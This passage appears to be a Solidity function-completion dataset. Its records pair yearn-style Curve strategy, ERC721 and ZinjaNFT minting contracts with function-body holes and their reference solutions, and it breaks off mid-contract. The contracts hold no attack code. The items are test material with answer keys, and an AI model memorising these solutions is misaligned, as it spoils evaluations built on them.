"ydai"); require(dai != address(_asset), "dai"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Gauge(pool).withdraw(Gauge(pool).balanceOf(address(this))); } function harvest() public { require(msg.sender == strategist || msg.sender == governance, "!authorized"); Mintr(mintr).mint(pool); uint _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { IERC20(crv).safeApprove(uni, 0); IERC20(crv).safeApprove(uni, _crv); address[] memory path = new address[](3); path[0] = crv; path[1] = weth; path[2] = dai; Uni(uni).swapExactTokensForTokens(_crv, uint(0), path, address(this), now.add(1800)); } uint _dai = IERC20(dai).balanceOf(address(this)); if (_dai > 0) { IERC20(dai).safeApprove(ydai, 0); IERC20(dai).safeApprove(ydai, _dai); yERC20(ydai).deposit(_dai); if (critAPY != address(0)) { ICritAPY(critAPY).logHarvest(balanceOf(), _dai); } } uint _ydai = IERC20(ydai).balanceOf(address(this)); if (_ydai > 0) { IERC20(ydai).safeApprove(curve, 0); IERC20(ydai).safeApprove(curve, _ydai); ICurveFi(curve).add_liquidity([_ydai,0,0,0],0); } uint _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { uint _fee = _want.mul(performanceFee).div(performanceMax); IERC20(want).safeTransfer(Controller(controller).rewards(), _fee); deposit(); } } function _withdrawSome(uint256 _amount) internal returns (uint) {<FILL_FUNCTION_BODY> } function balanceOfWant() public view returns (uint) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view returns (uint) { return Gauge(pool).balanceOf(address(this)); } function balanceOf() public view returns (uint) { return balanceOfWant() .add(balanceOfPool()); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } }
contract StrategyCurveYCRV { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public want = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); address constant public pool = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1); address constant public mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); address constant public crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address constant public uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01); address constant public curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); uint public performanceFee = 500; uint constant public performanceMax = 10000; address public governance; address public controller; address public strategist; address public critAPY; constructor(address _controller) public { governance = msg.sender; strategist = msg.sender; controller = _controller; } function getName() external pure returns (string memory) { return "StrategyCurveYCRV"; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setPerformanceFee(uint _performanceFee) external { require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function setCritAPY(address _critAPY) external { require(msg.sender == governance || msg.sender == strategist, "auth"); critAPY = _critAPY; } function deposit() public { uint _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(pool, 0); IERC20(want).safeApprove(pool, _want); Gauge(pool).deposit(_want); } } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(crv != address(_asset), "crv"); require(ydai != address(_asset), "ydai"); require(dai != address(_asset), "dai"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint _amount) external { require(msg.sender == controller, "!controller"); uint _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = Controller(controller).vaults(address(this)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { Gauge(pool).withdraw(Gauge(pool).balanceOf(address(this))); } function harvest() public { require(msg.sender == strategist || msg.sender == governance, "!authorized"); Mintr(mintr).mint(pool); uint _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { IERC20(crv).safeApprove(uni, 0); IERC20(crv).safeApprove(uni, _crv); address[] memory path = new address[](3); path[0] = crv; path[1] = weth; path[2] = dai; Uni(uni).swapExactTokensForTokens(_crv, uint(0), path, address(this), now.add(1800)); } uint _dai = IERC20(dai).balanceOf(address(this)); if (_dai > 0) { IERC20(dai).safeApprove(ydai, 0); IERC20(dai).safeApprove(ydai, _dai); yERC20(ydai).deposit(_dai); if (critAPY != address(0)) { ICritAPY(critAPY).logHarvest(balanceOf(), _dai); } } uint _ydai = IERC20(ydai).balanceOf(address(this)); if (_ydai > 0) { IERC20(ydai).safeApprove(curve, 0); IERC20(ydai).safeApprove(curve, _ydai); ICurveFi(curve).add_liquidity([_ydai,0,0,0],0); } uint _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { uint _fee = _want.mul(performanceFee).div(performanceMax); IERC20(want).safeTransfer(Controller(controller).rewards(), _fee); deposit(); } } <FILL_FUNCTION> function balanceOfWant() public view returns (uint) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view returns (uint) { return Gauge(pool).balanceOf(address(this)); } function balanceOf() public view returns (uint) { return balanceOfWant() .add(balanceOfPool()); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } }
Gauge(pool).withdraw(_amount); return _amount;
function _withdrawSome(uint256 _amount) internal returns (uint)
function _withdrawSome(uint256 _amount) internal returns (uint)
48031
ERC721
tokenURI
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to account balances mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from tokenId to operator approvals mapping (uint256 => address) private _tokenApprovals; // Mapping from account to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; string private _name; string private _symbol; // mapping for token URIs mapping (uint256 => string) private _tokenURIs; // mapping for token royaltyFee mapping(uint256 => uint256) private _royaltyFee; // mapping for token creator mapping (uint256 => address) private _creator; mapping(uint256 => mapping (address => bool)) public isOnSale; string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** @notice Get the Token balance of an account's. @param owner The address of the token holder @return The account's balance of the Token type requested */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** @notice Get the owner of tokenId. @param tokenId The tokenId of the token holder @return The current owner of the requested tokenId */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {<FILL_FUNCTION_BODY> } function baseURI() public view virtual returns (string memory) { return _baseURI; } function royaltyFee(uint256 tokenId) public view override returns(uint256) { return _royaltyFee[tokenId]; } function getCreator(uint256 tokenId) public view override returns(address) { return _creator[tokenId]; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view virtual override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param operator Address to add to the set of authorized operators @param approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** @notice Queries the approval status of an operator for a given owner. @param owner The owner of the Tokens @param operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param from Source address @param to Target address @param tokenId ID of the token type. @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); isOnSale[tokenId][from] = false; require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId, uint256 fee) internal virtual { _safeMint(to, tokenId, fee, ""); } function _safeMint(address to, uint256 tokenId, uint256 fee, bytes memory _data) internal virtual { _mint(to, tokenId, fee); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId, uint256 fee) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); _creator[tokenId] = msg.sender; _royaltyFee[tokenId] = fee; emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * required msg.sender must be owner of the token. * @param tokenId uint256 Token being burned */ function _burn(uint256 tokenId) internal virtual { require(msg.sender == ownerOf(tokenId),"caller not owner"); address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param _tokenURI string URI to assign */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; emit URI(_tokenURI, tokenId); } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; emit tokenBaseURI(baseURI_); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to account balances mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from tokenId to operator approvals mapping (uint256 => address) private _tokenApprovals; // Mapping from account to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; string private _name; string private _symbol; // mapping for token URIs mapping (uint256 => string) private _tokenURIs; // mapping for token royaltyFee mapping(uint256 => uint256) private _royaltyFee; // mapping for token creator mapping (uint256 => address) private _creator; mapping(uint256 => mapping (address => bool)) public isOnSale; string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** @notice Get the Token balance of an account's. @param owner The address of the token holder @return The account's balance of the Token type requested */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** @notice Get the owner of tokenId. @param tokenId The tokenId of the token holder @return The current owner of the requested tokenId */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } <FILL_FUNCTION> function baseURI() public view virtual returns (string memory) { return _baseURI; } function royaltyFee(uint256 tokenId) public view override returns(uint256) { return _royaltyFee[tokenId]; } function getCreator(uint256 tokenId) public view override returns(address) { return _creator[tokenId]; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view virtual override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param operator Address to add to the set of authorized operators @param approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** @notice Queries the approval status of an operator for a given owner. @param owner The owner of the Tokens @param operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param from Source address @param to Target address @param tokenId ID of the token type. @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); isOnSale[tokenId][from] = false; require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId, uint256 fee) internal virtual { _safeMint(to, tokenId, fee, ""); } function _safeMint(address to, uint256 tokenId, uint256 fee, bytes memory _data) internal virtual { _mint(to, tokenId, fee); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId, uint256 fee) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); _creator[tokenId] = msg.sender; _royaltyFee[tokenId] = fee; emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * required msg.sender must be owner of the token. * @param tokenId uint256 Token being burned */ function _burn(uint256 tokenId) internal virtual { require(msg.sender == ownerOf(tokenId),"caller not owner"); address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Internal function to set the token URI for a given token. * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to set its URI * @param _tokenURI string URI to assign */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; emit URI(_tokenURI, tokenId); } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; emit tokenBaseURI(baseURI_); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } }
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString()));
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
10101
ZinjaNFT
getMyNFTs
contract ZinjaNFT is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable { bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; using Strings for uint256; uint256 public currentId = 1; uint256 gas = 5000000; address payable dev; address payable project = payable(0xB07B3d85aac55034e90bAAD28b2C1AE622517749); uint256 devFee = 10; uint256 public mintingLimit = 112; uint256 public price = 2 * 10**17; uint256 public whitelistPrice = 2 * 10**17; mapping(address => bool) feeWhitelist; mapping(address => bool) public whitelist; bool public whitelistEnabled = true; uint256 public maxMint = 1; string baseURI = "ipfs://QmaE8yTNZAWkyjc9xGVkwYX2Dxj1xRDdrJrHDdfFBB856d/"; string placeholderURI; uint256 public revealedTo = 112; string constant baseExtension = ".json"; constructor(address _dev) ERC721("Zinja NFT", "Zinja NFT") { dev = payable(_dev); } function setPrice(uint256 _price) external onlyOwner { price = _price; } function setFeeWhitelistPrice(uint256 _price) external onlyOwner { whitelistPrice = _price; } function setWhitelist(address _wallet, bool _toggle) external onlyOwner { feeWhitelist[_wallet] = _toggle; } function setBaseURI(string calldata _base) external onlyOwner { baseURI = _base; } function setPlaceholderURI(string calldata _placeholder) external onlyOwner { placeholderURI = _placeholder; } function setMintLimit(uint256 _maxMint) external onlyOwner { maxMint = _maxMint; } function loadNFTs(uint256 _uris) external onlyOwner { mintingLimit += _uris; } function pushCurrentMintId(uint256 _amount) external onlyOwner { currentId += _amount; } function pushRevealedTo(uint256 _amount) external onlyOwner { revealedTo += _amount; } function _baseURI() internal view override returns (string memory) { return baseURI; } function updateURIs(uint256[] calldata ids, string[] calldata _uris) external onlyOwner { require(ids.length == _uris.length, "Wrong array size"); for (uint i = 0; i < ids.length; i++){ _setTokenURI(ids[i], _uris[i]); } } function updateURIs(uint256[] calldata ids, string calldata _base) external onlyOwner { for (uint i = 0; i < ids.length; i++){ _setTokenURI(ids[i], concatenate(concatenate(_base, ids[i].toString()), baseExtension)); } } function updateURI(uint256 id, string memory _uri) external onlyOwner { _setTokenURI(id, _uri); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(uint256 amount) external payable whenNotPaused { require(amount <= maxMint && amount > 0 && balanceOf(msg.sender) < maxMint, "Minting limits exceeded"); if(whitelistEnabled) require(whitelist[msg.sender], "Sorry, whitelist minting only"); unchecked{ uint256 totalCost = feeWhitelist[msg.sender] ? 0 : (whitelistEnabled && whitelist[msg.sender] ? whitelistPrice : price) * amount; require (msg.value == totalCost, "Incorrect amount paid"); uint256 mintId = currentId; require ((mintId-1) + amount <= mintingLimit, "Not enough tokens remaining"); for (uint i = 0; i < amount; i++){ _safeMint(msg.sender, mintId); mintId++; } currentId = mintId; } _multiMint(amount, msg.sender); } function claimFunds() external onlyOwner { dev.transfer((address(this).balance * devFee) / 100); project.transfer(address(this).balance); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 _tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { require(_exists(_tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[_tokenId]; string memory base = _baseURI(); if (bytes(_tokenURI).length > 0) { return _tokenURI; } if ((revealedTo >= _tokenId) && bytes(base).length > 0) { return concatenate(base, concatenate(_tokenId.toString(), baseExtension)); } if (bytes(placeholderURI).length > 0) { return placeholderURI; } return super.tokenURI(_tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function getMyNFTs(address me, uint256 start, uint256 limit, uint256 _gas) external view returns (uint256[] memory myNFTIDs, string[] memory myNFTuris, uint256 lastId) {<FILL_FUNCTION_BODY> } function remaining() external view returns(uint256) { return mintingLimit - (currentId-1); } function enabledWhitelist(bool _enabled) external onlyOwner { whitelistEnabled = _enabled; } function loadWhitelist(address[] calldata addressList, bool _listed) external onlyOwner { for (uint256 i = 0; i < addressList.length; i++) { whitelist[addressList[i]] = _listed; } } function concatenate(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } //C U ON THE MOON }
contract ZinjaNFT is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable { bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; using Strings for uint256; uint256 public currentId = 1; uint256 gas = 5000000; address payable dev; address payable project = payable(0xB07B3d85aac55034e90bAAD28b2C1AE622517749); uint256 devFee = 10; uint256 public mintingLimit = 112; uint256 public price = 2 * 10**17; uint256 public whitelistPrice = 2 * 10**17; mapping(address => bool) feeWhitelist; mapping(address => bool) public whitelist; bool public whitelistEnabled = true; uint256 public maxMint = 1; string baseURI = "ipfs://QmaE8yTNZAWkyjc9xGVkwYX2Dxj1xRDdrJrHDdfFBB856d/"; string placeholderURI; uint256 public revealedTo = 112; string constant baseExtension = ".json"; constructor(address _dev) ERC721("Zinja NFT", "Zinja NFT") { dev = payable(_dev); } function setPrice(uint256 _price) external onlyOwner { price = _price; } function setFeeWhitelistPrice(uint256 _price) external onlyOwner { whitelistPrice = _price; } function setWhitelist(address _wallet, bool _toggle) external onlyOwner { feeWhitelist[_wallet] = _toggle; } function setBaseURI(string calldata _base) external onlyOwner { baseURI = _base; } function setPlaceholderURI(string calldata _placeholder) external onlyOwner { placeholderURI = _placeholder; } function setMintLimit(uint256 _maxMint) external onlyOwner { maxMint = _maxMint; } function loadNFTs(uint256 _uris) external onlyOwner { mintingLimit += _uris; } function pushCurrentMintId(uint256 _amount) external onlyOwner { currentId += _amount; } function pushRevealedTo(uint256 _amount) external onlyOwner { revealedTo += _amount; } function _baseURI() internal view override returns (string memory) { return baseURI; } function updateURIs(uint256[] calldata ids, string[] calldata _uris) external onlyOwner { require(ids.length == _uris.length, "Wrong array size"); for (uint i = 0; i < ids.length; i++){ _setTokenURI(ids[i], _uris[i]); } } function updateURIs(uint256[] calldata ids, string calldata _base) external onlyOwner { for (uint i = 0; i < ids.length; i++){ _setTokenURI(ids[i], concatenate(concatenate(_base, ids[i].toString()), baseExtension)); } } function updateURI(uint256 id, string memory _uri) external onlyOwner { _setTokenURI(id, _uri); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(uint256 amount) external payable whenNotPaused { require(amount <= maxMint && amount > 0 && balanceOf(msg.sender) < maxMint, "Minting limits exceeded"); if(whitelistEnabled) require(whitelist[msg.sender], "Sorry, whitelist minting only"); unchecked{ uint256 